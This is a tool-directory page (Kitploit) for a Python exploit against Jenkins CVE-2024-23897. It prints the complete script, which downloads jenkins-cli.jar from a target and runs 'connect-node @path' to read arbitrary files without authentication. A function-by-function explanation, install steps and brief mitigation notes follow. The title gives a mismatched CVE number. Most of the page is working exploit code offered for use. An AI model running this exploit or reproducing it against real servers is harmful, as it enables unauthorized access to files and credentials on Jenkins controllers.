Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-25897 — exploit que vulnera Jenkins hecho en Python | Kitploit
Tools/GitHubGitHub/i-100-user/cve-2024-25897
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

exploit que vulnera Jenkins hecho en Python

View Repository
212 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

banner

img1

parameters ip, port, path

img2

exploit output

img3

Help panel

exploit explanation

Here is the explanation of the code in Markdown:

Code Explanation

This script is designed to exploit a specific vulnerability in Jenkins (CVE-2024-23897). It allows downloading a JAR file from a Jenkins server and executing a payload to connect a Jenkins node. Below is an explanation of each part of the code:

Importing Modules

root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
Download Tool
  • argparse: To handle command line arguments.
  • requests: To make HTTP requests.
  • os: To interact with the operating system.
  • subprocess: To execute system commands.
  • sys: To interact with the Python interpreter.

Function banner

root@kitploit:~
def banner():
    """
    Imprime un banner decorativo para la herramienta.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

This function prints a decorative banner at the start of the script.

Function descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.

    Returns:
        bool: True si la descarga fue exitosa, False en caso contrario.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
        return False

This function downloads the jenkins-cli.jar file from the Jenkins server specified by the IP address and port. If the download is successful, it saves the file on the system and returns True; otherwise, it returns False.

Function attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Ejecuta el payload para conectar un nodo Jenkins.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.
        ruta (str): Ruta para leer el archivo.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")

This function executes a command to connect a Jenkins node using the jenkins-cli.jar file. After executing the command, it removes the JAR file. If there is an execution error, it displays an error message.

Function main

root@kitploit:~
def main():
    """
    Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

The main function of the script:

  1. Parses command-line arguments (ip, port, path).
  2. Calls the banner function to print the banner.
  3. Calls the descargar_jar function to download the JAR file.
  4. If the download is successful, calls the attack_payload function to execute the payload; otherwise, exits the script with exit code 1.

Script Execution

root@kitploit:~
if __name__ == '__main__':
    main()

This block ensures that the main function runs only if the script is executed directly, not if it is imported as a module.

Summary

This script is a tool to exploit a vulnerability in Jenkins. It downloads a JAR file from a Jenkins server and uses that file to execute a payload that connects a Jenkins node. The required arguments (ip, port, path) are provided through the command line.


Here is a list of the required libraries along with the pip install commands for each:

Required Libraries

  • argparse: This library is included in the Python standard library, so you do not need to install it.

  • requests: To make HTTP requests.

    root@kitploit:~
    pip install requests
    
  • os: This library is included in the Python standard library, so you do not need to install it.

  • subprocess: This library is included in the Python standard library, so you do not need to install it.

  • sys: This library is included in the Python standard library, so you do not need to install it.

Library Installation

root@kitploit:~
pip install requests

CVE-2024-23897 is a vulnerability present in Jenkins, a popular automation and CI/CD tool. This vulnerability affects Jenkins versions 2.441 and earlier, as well as LTS versions 2.426.2 and earlier.

Vulnerability Description:

  • Affected function: Jenkins CLI command parser.
  • Issue: It does not disable a feature that allows replacing a '@' character followed by a file path in an argument with the content of that file.
  • Impact: Allows unauthenticated attackers to read arbitrary files in the Jenkins controller's file system.
  • Risk: An attacker can access sensitive information stored on the Jenkins server, which could lead to further compromise of the system.

Exploitation Example:

  1. An attacker sends a CLI command to Jenkins that includes @/path/to/file.
  2. The Jenkins command parser interprets @/path/to/file and replaces this argument with the content of the specified file.
  3. The attacker obtains the file content without requiring authentication.

Mitigation Measures:

  • Update Jenkins: Install newer versions that have fixed this vulnerability.
  • Security configurations: Review and restrict access to the Jenkins CLI, ensuring that only authenticated and trusted users can use this feature.

Updating and properly configuring Jenkins is crucial to protect the system against this vulnerability.

Python Linux Icon